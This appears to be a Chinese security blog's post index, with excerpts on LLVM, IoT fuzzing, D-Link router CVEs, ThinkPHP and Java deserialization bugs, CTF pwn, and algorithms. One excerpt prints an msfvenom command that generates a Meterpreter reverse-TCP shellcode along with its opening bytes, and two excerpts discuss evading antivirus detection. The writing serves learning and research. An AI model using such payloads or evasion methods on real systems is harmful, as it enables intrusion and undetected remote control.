自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(34)
  • 收藏
  • 关注

原创 [翻译&演绎]LLVM教程::我的第一个基于LLVM的语言前端::第二章::语法分析器与抽象语法树

导言这段时间LLVM这个词突然经常出现在脑海里,例如一想到做Fuzz要各种插桩,然后AFL的插桩就是用到的LLVM,代码混淆框架 OLLVM 也是基于LLVM实现的。再加上以前也经常尝试写编译器,结果经常烂尾,撸到AST完成,后面就基本撸不动了,代码也比较乱,唯一一个能跑的是个Lisp解释器。想想LLVM天生是个强大的编译器设计框架,就来劲想彻底搞个小编译器出来,简单的能弄个程序出来,就开始学习官网的例子,自己同时用Flex, Bison设计前端,肝了三四天,最后勉勉强强弄了个出来。看看官网的教程没什么中

2021-07-04 14:54:26 824

原创 [翻译&演绎]LLVM教程::我的第一个基于LLVM的语言前端::第一章::词法分析器

导言这段时间LLVM这个词突然经常出现在脑海里,例如一想到做Fuzz要各种插桩,然后AFL的插桩就是用到的LLVM,代码混淆框架 OLLVM 也是基于LLVM实现的。再加上以前也经常尝试写编译器,结果经常烂尾,撸到AST完成,后面就基本撸不动了,代码也比较乱,唯一一个能跑的是个Lisp解释器。想想LLVM天生是个强大的编译器设计框架,就来劲想彻底搞个小编译器出来,简单的能弄个程序出来,就开始学习官网的例子,自己同时用Flex, Bison设计前端,肝了三四天,最后勉勉强强弄了个出来。看看官网的教程没什么中

2021-07-04 01:19:39 604 3

原创 IOT Fuzz 两种思路

两种 FUZZ 框架介绍代码和测试用例基于BooFuzz做网络协议黑盒FuzzBooFuzz框架https://boofuzz.readthedocs.io/en/stable/user/quickstart.htmlhttps://github.com/jtpereyda/boofuzzBoofuzz是久经世故的Sulley Fuzz的分支和继承者。除了大量的错误修复,boofuzz的目标是可扩展性。目标是:Fuzz一切。基于BooFuzz做Ftp服务FuzzBooFuzz是基于状态和数据

2021-05-24 17:45:00 2641 1

原创 D-Link系列家用路由器漏洞分析总结

D-Link系列家用路由器漏洞分析总结⚡ 尚未了解清楚❗ 已编写好完整POC❓ 未能编写完整POC❌ 暂时不能实际验证DCS-2530LCVE-2020-25078 ❗ 敏感信息泄露D-Link DCS-1100 || DCS-1130CVE-2017-8416 ⚡DIR-850Lcgi动态web服务器CVE-2017-3193 ❗ 认证前栈溢出CVE-2017-14421 ❗ 路由器后门DIR-816独立web服务器CVE-2021-27114 ❓ 认证后栈溢出CVE

2021-04-27 15:49:44 2089

原创 D-Link DSL-2640B 固件漏洞分析

D-Link DSL-2640B 固件漏洞分析/bin/cfm 是整个系统服务的核心程序主函数启动过程由init函数完成初始化过程g_fnInitialize 保存了一系列 init 函数BcmWs_Init 关于 Web的初始化过程webmain函数负责web服务器 ,初始部分做了许多有关socket的控制,直接看对http请求的处理过程这部分处理了http头几处限制,不准进行目录穿越这部分代码依据请求文件后缀,分发处理函数web句柄数据结构 可以理解为struc

2021-04-23 18:20:26 380

原创 从meterpreter工作原理到免杀方式的分析

Meterpreter 工作原理msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=31012 -f c > test2.cunsigned char buf[] ="\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89\xe5""\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4

2021-03-05 01:43:42 1209 1

原创 msfvenom payload 免杀简单实践

免杀简单实践实验各种渗透框架的后门,结果很多文件放到硬盘上就开始报毒,这样的话根本很难实际使用,网上搜索各种免杀工具,据发布有些时间的似乎也都不行,自己稍微熟悉点的可能是dll这一块,看到有通过加密payload然后再打包成dll,最后用regsvr32 加载执行的思路,感觉可以是实践下,好歹这个可以自己写下程序。选择payload这里选择msf的经典payload:windows/meterpreter/reverse_tcp//生成c形式的payloadmsfvenom -a x86 -

2021-02-22 13:45:18 896

原创 thinkphp漏洞浅析随笔

thinkphpThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。遵循Apache2开源许可协议发布,意味着你可以免费使用ThinkPHP,甚至允许把你基于ThinkPHP开发的应用开源或商业产品发布/销售。菜鸡的迷惑ThinkPHP时php平台上的MVC框架,MVC框架都包含对路由各种定制功能,菜鸡也曾在hellowo

2021-02-19 17:18:13 324

原创 JAVA反序列化漏洞浅析

JAVA反序列化漏洞浅析文章内容相关的POC已经上传至gitee需要自取GITEE地址工具ysoserial自动生成多种不同payload工具src: https://github.com/frohoff/ysoserialjar: https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jarDeserializeExploit一键自动攻击工具jar:https:

2021-02-17 00:38:22 1027 2

原创 CTFd快速搭建动态环境靶机

引言最近内部需要搭建个学习培训平台,打算使用CTFd,结果发现CTFd并不自带动态靶场功能,网上搜索,据说有前辈实现的CTFd-whale插件,不过翻阅许多 教程,都觉得搭建起来有些麻烦,好像是有比较好的功能,我本身不需要太多功能,只需求动态环境,于是决定自己开发一个插件,查阅了CTFd文档,发现内容也不多。。。只好自己去看看代码,折腾一天也算搞起来了,分享下给有需求的朋友。 插件地址:https://gitee.com/s0duku/CTFDolphine目前...

2021-02-02 20:55:51 1239 1

原创 ret2dl_runtime_resolve实例分析

dl_runtime_resolve实例分析IDA静态分析这里用2019信安国赛的baby_pwn来做演示(就是因为这个做不出来去做了好多功课),实例程序test在文件夹下,hack.py是实现本地攻击的脚本首先使用checksec查看文件保护状态,由于是partial relo所以并没机会改写动态段的字符串表地址。所以我们直接伪造所有所需要的参数结构。ida动态段信息如下d_ta...

2019-05-07 23:04:44 456

原创 glibc动态链接器dl_runtime_resolve简要分析

dl_runtime_resolve简要分析资料glibc 2.9 sourcelinux elf 手册&各种百度搜索基于32位elf,64位一些结构会略有不同,新手学习,如果有理解错误,请师傅们帮忙指出。elf执行时动态绑定简要分析动态链接的过程动态链接中起到核心作用的是got节和plt节,链接器为所有共享目标文件(shared object)中未定义的(undef)外部...

2019-05-05 17:31:37 2980

原创 glibc2.29堆溢出tcache的利用方式及原理

ibc2.29 堆溢出tcache的利用方式及原理Dancing With Heap 与堆共舞二进制学习之旅参考资料:ctf-pwn https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/#tcache-poisoningglibc wiki https://sourceware.org/glib...

2019-03-06 16:07:32 8072

原创 [PWN]安恒杯2019.2 filesystem

之前一直玩逆向,鉴于逆向和pwn都算同一类,寒假花了点时间补了下。由于自己太菜,被几个函数误导了好久。。。。最后到点刚好解出来,没能来得及提交。。。被自己蠢哭了main函数很简单,各种菜单输入匹配,一眼就看到个B4cKd0oR可疑的很!更进去看看是啥看到个system,那不是简单了,立马输入B4cKd0oR,键入ls命令程序返回了服务器上的文件目录,看到一个fl...

2019-02-24 18:31:37 676

原创 Windows消息钩子[键盘监控]

之前看书,看到一眼消息钩子,一直没实践,现在有空弄了下,主要原理是利用windows自带SetWindowsHookEx API函数HHOOK SetWindowsHookEx(int idHook,                     //hook形式HOOKPROC lpfn           //hook过程HINSTANCE hmod        //钩子所属的...

2018-12-08 11:18:09 1881

原创 [IDA]IDC脚本基础

IDC的变量idc使用三种基本数据类型 整形,字符串,浮点值idc使用auto关键字声明变量,使用extern关键字声明全局变量auto var = 1;          //局部变量extern var2 = 1;      //全局变量IDC的运算符idc支持绝大部分c的运算符,但是不支持如+=的复合运算符,并且idc所有整数操作数均作为有符号处理,移位运算符...

2018-12-07 16:55:34 6361

原创 [Re]bugku CTF逆向题(持续更新)

目录bugku 入门逆向题解bugku easy_vb题解bugku easy_rebugku 游戏过关题解bugku love题解bugku file题解待续bugku 入门逆向题解打开程序,一闪而过去控制台环境打开只有一串字符,再次拖入ida em,啥都没有,flag果然就是这串字符bugku easy_vb题解一个vb写的程...

2018-12-05 21:41:27 3126 1

原创 [Re]南邮ctf平台逆向题

继续学习,这次尝试做了一下南邮ctf平台的逆向题来练习目录第一题 HELLO,RE!第二题 ReadAsm2第三题 Py交易第四题 WxyVM第五题 maze第六题 WxyVM 2 第一题 HELLO,RE!打开ida,找到main函数按F5,hexray反编译就在眼前 flag{Welcome_To_RE_World!}第二题 ReadAs...

2018-12-03 14:23:16 1593

原创 gets()函数缓冲区溢出实验

用于测试的漏洞程序如下:#include<stdio.h>#include<windows.h>void pf(){ char buf[50]; gets(buf); printf("%s\n",buf); }int main(){ int a; printf("this is just a test\n"); pf(); ...

2018-10-24 16:13:29 4008

原创 DLL注入器编写

前段时间一直学习逆向工程核心原理,由于缺少WINAPI只是,后面的内容学起来有些抽象,于是反回去大致扫了一下《Windows核心编程》花了些时间写了个DLL注入器。    基本原理                  进程对象在windows中,地址空间基本都是相对独立的,一个进程无法操作其他进程的空间,但是通过创建远程进程的线程,在原来进程的主线程之上添加一个线程,该线程属...

2018-09-29 09:38:38 3952 1

原创 160个crackme练习018

刚开始接触逆向分析,边学边做一些小练习首先观察一下这个小程序整体尝试触发一些事件大体看到他调用了windows下的messageboxw函数现在对它进行调试分析对其使用检索字符串命令后,可以发现他像messageboxw函数传递的字符串参数命令的地址4015b4我们在此设置断点,继续运行调试 ​​在此命令上方不远处,发现了字符串比较函数,猜测是否是用于比...

2018-09-12 21:18:51 259

原创 枚举全排列

最近学c++,用一些简单代码练习利用递归可以对数列进行全排列,n个数构成的An数列,每次递归,枚举位置j上可能的数Ai,Ai不属于Bfun(j) //定义函数 n = A.length; //n个元素 if j < n //递归条件 i = 0; for i to n ...

2018-09-05 22:14:42 1133 1

原创 邻接链表单源最短路径Bellman-Ford算法C语言

单源最短路径算法涉及到松弛技术。对于每个结点v来说,我们用一个属性p(v)来记录,从源节点到节点v的最短路径权重的上界,称此属性为s到v的最短路径估计。松弛操作对一条边(u,v)来说,在边(u,v)上的松弛操作为,比较p(v)与p(u)加上边(u,v)的权重。如果当前最短路径权重上界大于新值,则更新,最短路径估计。以节点数为5的图,源节点为0为例,如图所示松弛操作C代码void relax(int...

2018-06-07 19:08:47 2025 3

原创 邻接链表BFS广度优先搜索C语言

广度优先搜索不同于深度优先搜索,广度优先搜索先搜索当前定点的度,并生成,广度优先搜索树,他的一个重要性质是可以,计算源节点到其他节点的最短路径,是许多重要算法的原型,如单源最短路径或是最小生成树算法。C代码void bfs(listpoint g,int s){ int road[9],value[9]; listpoint m; queuepoint q; deg...

2018-06-05 21:57:26 888

原创 动态规划练习——RQNOJ开心的金明C语言

动态规划与分治法相似,都是通过组合自问题解来求解原文题,分治法处理划分互相独立的子问题,动态规划更适合处理,子问题出现相交的情况。动态规划常用于求解最优化问题。通常按四个步骤设计动态规划算法1.刻划一个最优解的结构特征。2.递归定义最优解的值。3.计算最优解的值,自底向上或自顶向下。4.利用计算出的信息构造最优解。题目描述 金明今天很开心,家里购置的新房就要领钥匙了,新房里有一间他自己专...

2018-06-04 19:03:09 858

原创 快速排序C语言

快速排序利用了分治法思想,将带排序数组分解成多个部分进行排序,每个部分排序实际是进行一次数组的重新划分,选定一个元素将其作为中间元素,使元素两侧只有大于或是小于他的元素。用递归树可证得快速排序的时间复杂度为nlogn,并且系数较小,是实际中的常用排序算法。快速排序C语言int quick_sort(int a[],int p,int q){ int i,j; int max,n; n = ...

2018-06-03 16:44:16 4176 2

原创 邻接矩阵,邻接链表DFS深度优先搜索C语言

图主要有两种存储结构,邻接矩阵表示法,邻接链表表示法。以有9个顶点的图为例。如图所示邻接矩阵表示法typedef struct { //邻接矩阵 elemtype data[9]; elemtype connect[9][9]; }graph,* graphpoint;建立9个元素的数组用于表示元素并建立对应关系矩阵用于表示顶点之间的关系邻接链表表示法ty...

2018-06-03 13:20:07 1418

原创 约瑟夫环——C语言循环链表模拟

约瑟夫问题已知n个人围城一周,编号1,2,3,.......,n,从1号开始报数,每隔k个人报到数的人出列。常见解决方法,递归或循环链表模拟循环链表模拟代码#include<stdio.h> //以30个人为例 ,每7个人出列为例#include<malloc.h>#define elemtype int#define status int #define o...

2018-06-02 23:20:43 563

原创 KMP算法C语言

KMP算法是一种改进的字符匹配算法,具体实现是通过构造next数组,通过next数组指示下一轮应用于进行匹配的元素位置减少了模式串与主串的匹配次数,优化了算法的时间复杂度。S串 主串T串 模式匹配串next数组的建立原理建立一个字符串数组,字符串数组的第一个元素a[0]规定用存放数组中含有的字符个数。比如主串S为abaabaaab,则s[0] = 9,s[1] = 'a',s[2] = 'b',s...

2018-06-02 12:40:49 1024

原创 数据结构——线性表的顺序存储结构C语言

线性表顺序存储结构是在存储空间中开辟出一块连续的存储空间用于存放数据。数据之间的关系在逻辑上连续的。即A1-A2-A3......An伪代码typedef struct{ int length; elemtype *data;}list;整型变量length 用于存储当前表长度,即表中数据数量,data指针用于指向,内存中连续的部分,elemtype即为存储的数据类型,可根...

2018-04-09 21:34:41 409

原创 算法导论——最大序列堆与堆排序C语言实现

 第六章堆排序堆可以被近似看成一个近似完全二叉树以结点数为10的树为例   给定一个节点下标为i,则其父,子节点分别为parent(i) return i/2 //父结点left(i)return 2*i //左子结点right(i)return 2*i+1 //右子结点如 i= 2则其左子结点为4 右子节点为5 父节点为1二叉堆可分为两种形式最大堆 所有结点父结点要大于...

2018-03-31 11:30:53 1225

原创 算法导论笔记——最大子数组C语言实现

第四章分治策略在分治策略中我们将递归的求解一个问题,在每层递归中有如下三个步骤。分解 将问题划分为一些子问题,子问题形式与原问题一样,只是规模更小。解决 递归的求解出子问题。如果子问题规模足够小,则停止递归,直接求解。合并 将子问题的解合并为原问题的解。需要递归求解时,我们称之为递归情况,当子问题足够小时,不需要递归时,我们称之为递归已经触底,进入基本情况。递归式一个递归式就是一个不等式或等式,通...

2018-03-27 18:02:02 1048

原创 算法导论笔记——归并排序C语言实现

第二章 算法基础2.3.1 分治法许多有用的算法在结构上是递归的,为了解决某个问题,算法依次或多次递归的调用其自身已解决其紧密相关的若干子问题。这些算法典型遵循分治法的思想。分治模式每层递归都有三个步骤:分解 将原问题分解为若干子问题,这些子问题都是原问题较小的实例。实例:对于给定输入序列成为问题的实例。解决 递归的求解各子问题,如果子问题够小则可以直接求解。合并 将子问题的解合并成原文题的解。归...

2018-03-21 11:07:54 502 1

原创 算法导论笔记——插入排序C语言实现

第二章算法基础2.1插入排序对于少量元素的排序,插入排序是个有效算法,工作方式类似于排序一手扑克牌。每次从桌上拿一张牌并将它插入另一手中正确的位置,为找到正确位置,依此对手中的牌进行比较,直到找出正确位置。该算法是原址排序。原址排序:在排序算法中,如果输入数组中仅有常数个数元素需在排序过程中存储在数组之外,则称排序算法是原址的。例如:插入排序,堆排序,快速排序。伪代码:INSERTION-SORT...

2018-03-20 22:02:36 204

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除